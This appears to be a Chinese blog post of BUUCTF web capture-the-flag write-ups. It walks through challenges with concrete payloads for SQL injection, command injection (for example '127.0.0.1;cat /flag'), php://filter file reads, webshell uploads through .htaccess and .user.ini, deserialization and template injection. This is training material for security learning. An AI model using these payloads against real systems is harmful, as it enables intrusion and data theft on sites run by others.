IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 题解记录-BUUCTF|Web (持续更新中) -> 正文阅读

[PHP知识库]题解记录-BUUCTF|Web (持续更新中)

[极客大挑战 2019]EasySQL

在这里插入图片描述
输入用户名admin,密码用一个万能密码如1’ or '1,即可获得flag

在这里插入图片描述

[HCTF 2018]WarmUp

在这里插入图片描述
查看页面源代码,发现source.php文件,打开

在这里插入图片描述
发现hint.php

在这里插入图片描述
打开试试,发现flag在ffffllllaaaagggg里

在这里插入图片描述
返回source.php
source

在这里插入图片描述
根据代码要求,输入source.php?file=hint.php?ffffllllaaaagggg

在这里插入图片描述发现此时图片不见了,说明输入有效,但并没有flag
所以flag可能不在当前目录
尝试加入…/遍历目录
直到输入source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg时flag出现

在这里插入图片描述

[极客大挑战 2019]Havefun

在这里插入图片描述
查看源代码,发现

在这里插入图片描述
所以我们使cat=dog,得到flag

在这里插入图片描述

[ACTF2020 新生赛]Include

在这里插入图片描述点tips进去看看

在这里插入图片描述查看源代码发现没有东西,想办法查看flag.php文件
利用php://filter,输入/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag.php经过base64编码后的内容

在这里插入图片描述解码,得flag
在这里插入图片描述

[ACTF2020 新生赛]Exec

在这里插入图片描述ping一下127.0.0.1看看

在这里插入图片描述
输入127.0.0.1;ls / ,利用;来输入cmd命令
在这里插入图片描述发现flag文件,输入127.0.0.1;cat /flag 进行查看,得到flag

在这里插入图片描述

[强网杯 2019]随便注

在这里插入图片描述
输入1’回显错误,输入1’ or ‘1’=‘1回显正常,判断是字符型注入
猜测字段数,输入到1’ order by 3#时报错,则字段数为2

在这里插入图片描述
查询数据库名,输入1’ union select 1,2#,发现回显大量过滤

在这里插入图片描述
尝试堆叠注入,输入1’;show databases;#

在这里插入图片描述
成功回显,说明存在堆叠注入
查看表,输入1’;show tables;#
在这里插入图片描述
查看words,输入输入1’; show columns from words; #
注:使用的是(Esc下的键),用于数据库、表、索引、列和别名用的引用

在这里插入图片描述
发现字段id与data

查看1919810931114514,输入1’; show columns from 1919810931114514; #

在这里插入图片描述
发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名
输入1’;rename table words to word;rename table 1919810931114514 to words;alter table words change flag id varchar(100);show columns from words;#

在这里插入图片描述再输入1’ or '1=1,就能得到flag
在这里插入图片描述

[SUCTF 2019]EasySQL

在这里插入图片描述发现是整数型后,无论输什么都是nonono,尝试堆叠注入
输入1;show databases;#
在这里插入图片描述输入1;show tables;#
在这里插入图片描述输入1;show columns from Flag;#
结果回显nonono,可能存在过滤
猜测查询语句为:select “.$post[‘query’].”||flag from Flag
则输入*,1 即select *,1||flag from Flag;
这样就得到了Flag的所有字段
在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

输入/?ip=127.0.0.1成功回显
在这里插入图片描述使用;作为分割符,输入/?ip=127.0.0.1;ls
在这里插入图片描述看到flag.php,输入/?ip=127.0.0.1;cat flag.php,
在这里插入图片描述猜测可能是空格被过滤了,这里使用<来绕过,输入/?ip=127.0.0.1;cat<flag.php
在这里插入图片描述发现符号被过滤了,换个试试
在这里插入图片描述显示flag被过滤,使用’'来绕过
在这里插入图片描述好,又被过滤了,那我们看一下index.php
在这里插入图片描述发现好多字符被过滤和一个变量a
构造payload:/?ip=127.0.0.1;a=g;cat$IFS 9 f l a 9fla 9flaa.php
在这里插入图片描述查看源码,得到flag
在这里插入图片描述

[极客大挑战 2019]Secret File

在这里插入图片描述查看源码,发现./Archive_room.php
在这里插入图片描述点击查看,发现./action.php在这里插入图片描述点击查看,发现“查阅结束”
在这里插入图片描述在secret递交时抓包发现提示secr3t.php
在这里插入图片描述查看secr3t.php,发现提示 flag放在了flag.php里
在这里插入图片描述查看flag.php,源码也没有信息
在这里插入图片描述利用php://filter,构造/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述将这段乱码进行base64解码,得到flag
在这里插入图片描述

[极客大挑战 2019]LoveSQL

在这里插入图片描述

使用万能密码,回显有误

在这里插入图片描述
这里说使用sqlmap是没有灵魂的
先判断字段数,发现字段数为3

在这里插入图片描述
使用联合查询,得到回显位置

在这里插入图片描述
在这里插入图片描述
查询数据库名
1’ union select 1,2,database()#

在这里插入图片描述
查询数据库表名
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#

在这里插入图片描述

查询l0ve1ysq1表的字段名
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#

在这里插入图片描述
查询字段
1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
发现flag

在这里插入图片描述

[极客大挑战 2019]Knife

提示使用菜刀,不过这里我选择使用蚁剑

在这里插入图片描述
打开蚁剑连接

在这里插入图片描述
找到flag

在这里插入图片描述在这里插入图片描述

[极客大挑战 2019]Http

在这里插入图片描述
查看源代码,发现Secret.php

在这里插入图片描述访问页面
在这里插入图片描述

说明我们应该来自https://Sycsecret.buuoj.cn,抓包,修改Referer

在这里插入图片描述
在这里插入图片描述
要求使用Syclover浏览器,将User-Agent改成Syclover

在这里插入图片描述
要求只能进行本地访问,添加X-Forwarded-For:127.0.0.1
成功得到flag

在这里插入图片描述

[极客大挑战 2019]Upload

在这里插入图片描述
上传一句话木马试试

在这里插入图片描述
这里用bq抓包,修改文件格式image/jpeg和文件后缀phtml并在代码前加一个图片文件头GIF 89A进行欺骗
发现

在这里插入图片描述
修改一下木马文件

在这里插入图片描述
重新上传

在这里插入图片描述
用蚁剑连接/upload/1s.phtml,查看flag

在这里插入图片描述

[ACTF2020 新生赛]Upload

上传一个木马.php文件试试

在这里插入图片描述

修改文件后缀为.png,上传
抓包,在bp里修改为.phtml

在这里插入图片描述
上传成功

在这里插入图片描述
用蚁剑连接查看flag

在这里插入图片描述

[极客大挑战 2019]BabySQL

在这里插入图片描述
简单测试admin和1’后发现有注入漏洞

在这里插入图片描述
输入1’ order by 1#,发现存在or和by过滤

在这里插入图片描述
使用双写绕过1’ oorrder bbyy 1#,得到字段数为3

在这里插入图片描述
接下来爆字段位置,输入1’ union select 1,2,3#,发现过滤

在这里插入图片描述
双写绕过:1’ ununionion selselectect 1,2,3#

在这里插入图片描述

查数据库名:1’ ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #

在这里插入图片描述
查表名:1’ ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#

在这里插入图片描述

查字段名:1’ ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’#

在这里插入图片描述

查字段值:1’ ununionion selselectect 1,2,flag frfromom ctf.Flag#

在这里插入图片描述得到flag

[极客大挑战 2019]PHP

在这里插入图片描述
使用dirsearch扫描网站目录,发现www.zip,打开

在这里插入图片描述
查看index.php,发现class.php和一个php反序列化函数unserialize()

在这里插入图片描述
查看class.php,发现flag

在这里插入图片描述构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;},获得flag

在这里插入图片描述

[RoarCTF 2019]Easy Calc

在这里插入图片描述查看源码,发现calc.php

在这里插入图片描述查看calc.php,发现字符过滤

在这里插入图片描述
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。

file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

scandir() 函数:返回指定目录中的文件和目录的数组。

构造payload:/calc.php? num=1;var_dump(scandir(chr(47)))
发现flag
在这里插入图片描述
构造payload:/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到flag
在这里插入图片描述

[ACTF2020 新生赛]BackupFile

在这里插入图片描述用dirsearch扫描目录
发现index.php.bak
在这里插入图片描述
在这里插入图片描述key必须是整数,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
php == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较。如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行(从开头转数字)
即key=123
得到flag
在这里插入图片描述

[极客大挑战 2019]BuyFlag

在这里插入图片描述查看源码

在这里插入图片描述password不能是数字且要==404,所以password可以为404+任意字符,
用bp抓包,修改包使其满足:是cuit的学生,以post方式传参,正确password(404abc),100000000 Money(1e8)
得到flag

在这里插入图片描述

[护网杯 2018]easy_tornado

在这里插入图片描述查看

在这里插入图片描述在这里插入图片描述在这里插入图片描述将filehash去掉访问,发现
在这里插入图片描述
根据render,使用模板注入,构造payload:/error?msg={{handler.settings}}
记忆:handler.settings存放cookie_secret

在这里插入图片描述发现cookie_secret:e6b7327c-a131-4e93-92d2-a673ced3a087,
构造filehash:md5(cookie_secret+md5(filename)),而已知filename为/fllllllllllllag
进行MD5加密得:6b31d8e5baf98dd20b879a95d24428f5
构造payload:/file?filename=/fllllllllllllag&filehash=6b31d8e5baf98dd20b879a95d24428f5

在这里插入图片描述

[HCTF 2018]admin

使用admin,123成功登进得到flag
在这里插入图片描述------------------------------------------------------------------------------------------------------------------------
在这里插入图片描述
进入change password发现一个网址

在这里插入图片描述

在该项目路由文件中发现strlower()函数,其中调用了nodeprep.prepare函数,nodeprep.prepare函数会将unicode字符?转换成A,A再调用一次nodeprep.prepare函数会把A转换成a,而strlower()自定义函数被调用了三次,分别是register、login、change,即注册、登陆、修改密码时都会被调用。
那么就可以使用字符?dmin进行注册,然后修改一次密码,再重新登陆就能得到flag

[BJDCTF2020]Easy MD5

在这里插入图片描述查看源代码,没有东西,输个1试试,没有回显
抓个包看看
发现提示Hint: select * from ‘admin’ where password=md5($pass,true)

在这里插入图片描述

即需要password=md5($pass,true)条件为真时,才会执行select * form admin
当参数为true是显示的是原始 16 字符二进制格式
构造or来绕过password,md5(ffifdyop,true)='or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
输入ffifdyop后,出现
在这里插入图片描述查看源码

在这里插入图片描述

这里是弱类型,只要使得加密后的值开头都为0e则会视为相等
构造payload:/levels91.php?a=s878926199a&b=s155964671a

在这里插入图片描述这里是===,用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立
post:param1[]=1&param2[]=2,得到flag

在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

在这里插入图片描述
使用php伪协议,构造data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码,构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,还有一个参数file,使用php伪协议,构造file=php://filter/read=convert.base64-encode/resource=useless.php
得到
在这里插入图片描述base64解码得:
在这里插入图片描述
又经过password反序列化,构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

在这里插入图片描述
查看源码,得到flag

在这里插入图片描述

[MRCTF2020]你传你🐎呢

在这里插入图片描述上传木马文件失败,考虑使用.htaccess文件,来改变文件扩展名,先上传.htaccess,然后上传木马文件
抓包,修改Content-Type:image/png
在这里插入图片描述上传成功,接着上传.png木马文件,同样修改文件类型
上传成功

在这里插入图片描述用蚁剑连接

在这里插入图片描述找到flag

[极客大挑战 2019]HardSQL

在这里插入图片描述发现很多字符都被过滤,但是会有报错,这里决定使用报错注入
在这里插入图片描述
利用UPDATEXML (XML_document, XPath_string, new_value)函数
爆库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
得到geek
在这里插入图片描述
爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=1
得到H4rDsq1

在这里插入图片描述
爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=1
得到id,username,password

在这里插入图片描述爆字段值:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1 与?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1得到的值进行拼接,得到flag

在这里插入图片描述
在这里插入图片描述

[SUCTF 2019]CheckIn

创建.user.ini文件构成PHP后门,使用GIF绕过文件类型检测

在这里插入图片描述
先上传.user.ini,意思是当前目录中的php文件会自动去包含1s.png中的文件内容,而文件包含有一个特点就是能无条件解析php代码。所以我们再上传一张图片马1s.png,就能利用已经存在的php文件去包含图片马进而解析
在这里插入图片描述用蚁剑连接,得到flag

在这里插入图片描述

[MRCTF2020]Ez_bypass

在这里插入图片描述查看源代码
在这里插入图片描述
观察代码(强弱类型)
1.这里的id与gg需要是数组,以此来满足要求
2.post传参,passwd不能为数字但要==1234567,即可以是1234567a
在这里插入图片描述得到flag

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-09-24 20:37:31  更:2022-09-24 20:37:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 8:57:19-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码